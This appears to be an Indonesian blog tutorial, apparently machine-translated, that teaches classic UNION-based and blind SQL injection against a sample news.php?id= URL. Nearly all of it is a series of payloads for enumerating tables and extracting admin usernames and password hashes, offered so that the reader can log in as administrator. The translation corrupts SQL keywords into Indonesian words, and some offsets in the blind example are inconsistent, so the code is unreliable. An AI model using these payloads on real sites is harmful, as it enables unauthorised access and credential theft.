Tutorial SQL Injection



Dalam tutorial ini saya akan menjelaskan cara kerja injeksi sql dan bagaimana
menggunakannya untuk mendapatkan beberapa informasi yang berguna.


Pertama-tama: Apa SQL injection?

Ini salah satu kerentanan yang paling umum dalam aplikasi web saat ini.
Hal ini memungkinkan penyerang untuk mengeksekusi query database di url dan mendapatkan akses
beberapa informasi rahasia dll ... (tak lama).


1.SQL Injection (klasik atau kesalahan berdasarkan atau apa pun yang Anda menyebutnya): D

2.Blind SQL Injection (bagian keras)


Jadi mari kita mulai dengan beberapa tindakan: D


1). Periksa kerentanan

Mari kita mengatakan bahwa kita memiliki beberapa situs seperti ini

http://www.site.com/news.php?id=5

Sekarang untuk menguji apakah ini vulrnable kita menambahkan ke akhir url '(kutipan),

dan itu akan menjadi http://www.site.com/news.php?id=5 '

jadi jika kita mendapatkan beberapa error seperti
"Anda memiliki kesalahan dalam sintaks SQL Anda, periksa manual yang sesuai dengan versi MySQL server Anda untuk hak dll ..."
atau yang serupa

yang berarti adalah vulrnable injeksi sql :)

2). Menemukan jumlah kolom

Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (memberitahu basis data cara memesan hasil)

jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.

http://www.site.com/news.php?id=5 order by 1 / * <- tidak ada kesalahan

http://www.site.com/news.php?id=5 order by 2 / * <- tidak ada kesalahan

http://www.site.com/news.php?id=5 order by 3 / * <- tidak ada kesalahan

http://www.site.com/news.php?id=5 order by 4 / * <- error (kita mendapatkan pesan seperti kolom ini tidak diketahui '4' di 'order clause' atau sesuatu seperti itu)

yang berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.

3). Periksa fungsi UNION

Dengan serikat pekerja kita dapat memilih lebih banyak data dalam satu pernyataan sql.

jadi kita harus

http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 / * (kita sudah menemukan bahwa jumlah kolom 3 pada bagian 2). )

jika kita melihat beberapa angka di layar, mis 1 atau 2 atau 3 maka karya UNION :)

4). Periksa versi MySQL

http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 / * CATATAN: jika / * tidak bekerja atau Anda mendapatkan beberapa kesalahan, kemudian coba -
itu komentar dan itu penting bagi query kita untuk bekerja dengan baik.

biarkan mengatakan bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @@ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau serupa.

seharusnya terlihat seperti serikat http://www.site.com/news.php?id=5 ini semua pilih 1, @@ version, 3 / *

jika Anda mendapatkan error "union + campuran ilegal collations (implisit + dpt dipaksa) ..."

saya tidak melihat kertas yang meliputi masalah ini, jadi saya harus menulis :)

apa yang kita butuhkan adalah mengkonversi () function

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, mengkonversi (@@ version menggunakan latin1), 3 / *

atau dengan hex () dan unhex ()

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, unhex (hex (@@ version)), 3 / *

dan Anda akan mendapatkan versi MySQL: D

5). Mendapatkan meja dan kolom nama

baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- kemudian saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak table dan nama kolom dalam kebanyakan kasus.

nama tabel umum adalah: user / s, admin / s, anggota / s ...

nama kolom umum adalah: username, user, usr, user_name, password, lulus, passwd, pwd dll ...

mis akan

http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 dari admin / * (kita lihat nomor 2 di layar seperti sebelumnya, dan itu bagus: D)

kita tahu bahwa admin meja ada ...

sekarang untuk memeriksa nama kolom.


http://www.site.com/news.php?id=5 union semua pilih 1, username, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)

kita mendapatkan username ditampilkan pada layar, misalnya akan admin, atau superadmin dll ...

sekarang untuk memeriksa apakah sandi kolom ada

http://www.site.com/news.php?id=5 union semua pilih 1, sandi, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)

kita lihat password pada layar di hash atau teks biasa, itu tergantung dari bagaimana database diatur :)

mis md5 hash, hash mysql, sha1 ...

sekarang kita harus menyelesaikan query untuk terlihat bagus :)

untuk itu kita dapat menggunakan concat () function (itu bergabung string)

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, concat (username, 0x3a, password), 3 dari admin / *

Perhatikan bahwa saya menempatkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex untuk usus)

(Ada cara lain untuk itu, char (58), nilai ascii untuk:)


http://www.site.com/news.php?id=5 union semua pilih 1, concat (username, char (58), password), 3 dari admin / *

sekarang kita mendapatkan username dislayed: password pada layar, mis admin: admin atau admin: somehash

ketika Anda memiliki ini, Anda dapat login seperti admin atau superuser: D

jika tidak bisa menebak hak nama tabel, Anda dapat selalu mencoba mysql.user (default)

memiliki pengguna i kolom password, sehingga contoh akan

http://www.site.com/news.php?id=5 union semua pilih 1, concat (user, 0x3a, password), 3 dari mysql.user / *

6). MySQL 5

Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan meja dan nama kolom
di MySQL> 5.

Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.

untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables / *

di sini kita ganti kami nomor 2 dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables

ditampilkan di layar. Sekarang kita harus menambahkan LIMIT ke akhir query untuk daftar semua tabel.

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 0,1 / *

dicatat bahwa saya menempatkan 0,1 (mendapatkan 1 hasil mulai dari 0 yang)

sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 1,1 / *

tabel kedua ditampilkan.

meja ketiga kami menempatkan membatasi 2,1

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 2,1 / *

terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, auth_user dll ...: D

Untuk mendapatkan nama kolom metode adalah sama.

di sini kita menggunakan column_name dan information_schema.columns

Metode ini sama seperti di atas sehingga contoh akan


http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns membatasi 0,1 / *

kolom pertama diplayed.

yang kedua (kita mengubah membatasi 0,1 untuk membatasi 1,1)

yaitu.


http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns membatasi 1,1 / *

kolom kedua ditampilkan, sehingga tetap incrementing sampai Anda mendapatkan sesuatu seperti

nama pengguna, pengguna, login, password, lulus, passwd dll ...: D

jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (Mana klausa)

mari kita mengatakan bahwa kita menemukan pengguna meja.

yaitu

http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns mana table_name = 'pengguna' / *

sekarang kita bisa ditampilkan nama kolom dalam tabel user. Hanya menggunakan LIMIT kita bisa daftar semua kolom di tabel user.

Catatan bahwa ini tidak akan bekerja jika kutipan sihir adalah ON.

mari kita mengatakan bahwa kita menemukan colums pengguna, lulus dan email.

sekarang untuk menyelesaikan permintaan untuk menempatkan mereka semua bersama-sama: D

untuk itu kita menggunakan concat (), i decribe itu sebelumnya.

yaitu


http://www.site.com/news.php?id=5 union semua pilih 1, concat (user, 0x3a, pass, 0x3a, email) dari pengguna / *

apa yang kita dapatkan di sini adalah pengguna: lulus: email dari pengguna meja.

contoh: admin: hash: whatever@blabla.com


Itu semua di bagian ini, sekarang kita bisa melanjutkan pada bagian keras :)



2. Blind SQL Injection

injeksi buta adalah sedikit lebih rumit injeksi klasik tetapi bisa dilakukan: D

Saya harus menyebutkan, ada sangat baik buta sql injection tutorial oleh XPROG, sehingga tidak buruk untuk membacanya: D

Mari kita mulai dengan hal-hal canggih.

Saya akan menggunakan contoh kita

http://www.site.com/news.php?id=5

ketika kita menjalankan ini, kita melihat beberapa halaman dan artikel di halaman itu, gambar dll ...

maka ketika kita ingin menguji untuk serangan injeksi sql buta

http://www.site.com/news.php?id=5 dan 1 = 1 <--- ini selalu benar

dan halaman beban normal, itu ok.

sekarang tes yang sesungguhnya

http://www.site.com/news.php?id=5 dan 1 = 2 <--- ini adalah palsu

jadi jika beberapa teks, gambar atau beberapa konten yang hilang pada halaman kembali maka situs yang vulrnable untuk membutakan sql injection.

1) Dapatkan versi MySQL

untuk mendapatkan versi dalam serangan buta kita menggunakan substring

yaitu

http://www.site.com/news.php?id=5 dan substring (versi @@, 1,1) = 4

ini harus mengembalikan TRUE jika versi MySQL adalah 4.

ganti 4 dengan 5, dan jika permintaan mengembalikan TRUE maka versi adalah 5.

yaitu

http://www.site.com/news.php?id=5 dan substring (versi @@, 1,1) = 5

2) Uji jika bekerja subselect

ketika pilih tidak bekerja maka kita gunakan subselect

yaitu

http://www.site.com/news.php?id=5 dan (pilih 1) = 1

jika beban halaman normal maka subselects kerja.

maka akan kita lihat apakah kita memiliki akses ke mysql.user

yaitu

http://www.site.com/news.php?id=5 dan (pilih 1 dari batas mysql.user 0,1) = 1

jika beban halaman biasanya kita memiliki akses ke mysql.user dan kemudian kita bisa menarik beberapa sandi usign load_file () fungsi dan OUTFILE.

3). Lihat tabel dan nama kolom

Ini adalah bagian ketika menebak adalah teman terbaik :)

yaitu

http://www.site.com/news.php?id=5 dan (pilih 1 dari pengguna membatasi 0,1) = 1 (dengan limit 0,1 query kita disini mengembalikan 1 baris data, penyebab subselect mengembalikan hanya 1 baris, ini sangat penting.)

maka jika beban halaman normal tanpa konten hilang, pengguna meja keluar.
jika Anda mendapatkan SALAH (beberapa artikel yang hilang), hanya mengubah nama tabel sampai Anda menebak tepat satu :)

mari kita mengatakan bahwa kita telah menemukan bahwa nama tabel pengguna, sekarang apa yang kita butuhkan adalah nama kolom.

sama seperti nama tabel, kita mulai menebak. Seperti saya katakan sebelumnya mencoba nama umum untuk kolom.

yaitu

http://www.site.com/news.php?id=5 dan (pilih substring (concat (1, password), 1,1) dari pengguna membatasi 0,1) = 1

jika beban halaman biasanya kita tahu bahwa nama kolom adalah password (jika kita mendapatkan palsu kemudian mencoba nama umum atau hanya menebak)

di sini kita menggabungkan 1 dengan password kolom, maka substring kembali karakter pertama (, 1,1)


4). Menarik data dari database

kami menemukan pengguna meja saya kolom username password sehingga akan kita tarik karakter itu.

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 80

ok ini di sini menarik karakter pertama dari pengguna pertama di tabel user.

substring disini mengembalikan karakter pertama dan 1 karakter panjangnya. ascii () mengkonversi bahwa 1 karakter menjadi nilai ascii

dan kemudian membandingkannya dengan simbol yang lebih besar maka>.

jadi jika ascii arang yang lebih besar kemudian 80, beban halaman normal. (BENAR)

kami terus berusaha sampai kita salah.


http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 95

kita mendapatkan TRUE, terus incrementing


http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 98

BENAR lagi, lebih tinggi

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 99

SALAH!!!

sehingga karakter pertama username adalah char (99). Menggunakan converter ascii kita tahu bahwa char (99) adalah huruf 'c'.

kemudian mari kita periksa karakter kedua.

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 2,1))> 99

Perhatikan bahwa aku berubah, 1,1 untuk, 2,1 untuk mendapatkan karakter kedua. (Sekarang ia mengembalikan karakter kedua, 1 karakter di panjang)


http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 99

BENAR, beban halaman normal, lebih tinggi.

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 107

SALAH, angka yang lebih rendah.

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 104

BENAR, lebih tinggi.

http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 105

SALAH!!!

kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'. Kami memiliki 'ci' sejauh

sehingga tetap incrementing sampai Anda mendapatkan akhir. (Ketika> 0 hasil palsu kita tahu bahwa kita telah mencapai akhir).

Ada beberapa alat untuk Blind SQL Injection, saya pikir sqlmap adalah yang terbaik, tapi aku melakukan semuanya secara manual,

Penyebab yang membuat Anda SQL INJECTOR yang lebih baik: D



Harap Anda belajar sesuatu dari tulisan ini.


Selamat bersenang-senang! (:


EmoticonEmoticon